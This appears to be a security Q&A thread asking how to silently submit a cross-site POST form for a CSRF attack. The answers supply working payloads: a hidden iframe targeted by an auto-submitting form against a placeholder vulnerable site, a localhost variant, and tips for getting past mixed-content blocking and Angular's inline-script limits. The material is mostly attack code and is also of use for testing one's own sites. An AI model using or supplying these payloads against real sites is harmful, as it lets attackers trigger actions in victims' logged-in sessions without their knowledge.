Example of silently submitting a POST FORM (CSRF) - security

Question

I'm interested in knowing how it is possible to silently submit a POST form for CSRF, without the user having any notice (the document location being redirected to the POSTed URL is not silent).
Example:
<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>
On an external site, what would I need to do to trigger this form automatically and silently?

Answer 1

One solution would be to open the form’s action in a frame like an iframe:
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
<input type='hidden' name='criticaltoggle' value='true'>
<input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>

Answer 2

When testing CSRF locally you may have to overcome several security measures.
For Blocked loading mixed active content errors, ensure the protocol (http/https) of the attacker site and target site are the same, or use "//" as protocol for attacker site. Example attack on localhost:
<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
<input type='hidden' name='boo' value='true'>
<input type='submit' value='Submit'>
</form>
Alternatively set Firefox security.mixed_content.block_active_content to false.
If using Angular, security options prevent you using inline javascript, so you'll need to move the submit to code-behind on the attacker site:
ngOnInit() {
const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
myForm.submit();
}
Finally the attacker site's header 'x-frame-options' must not be set.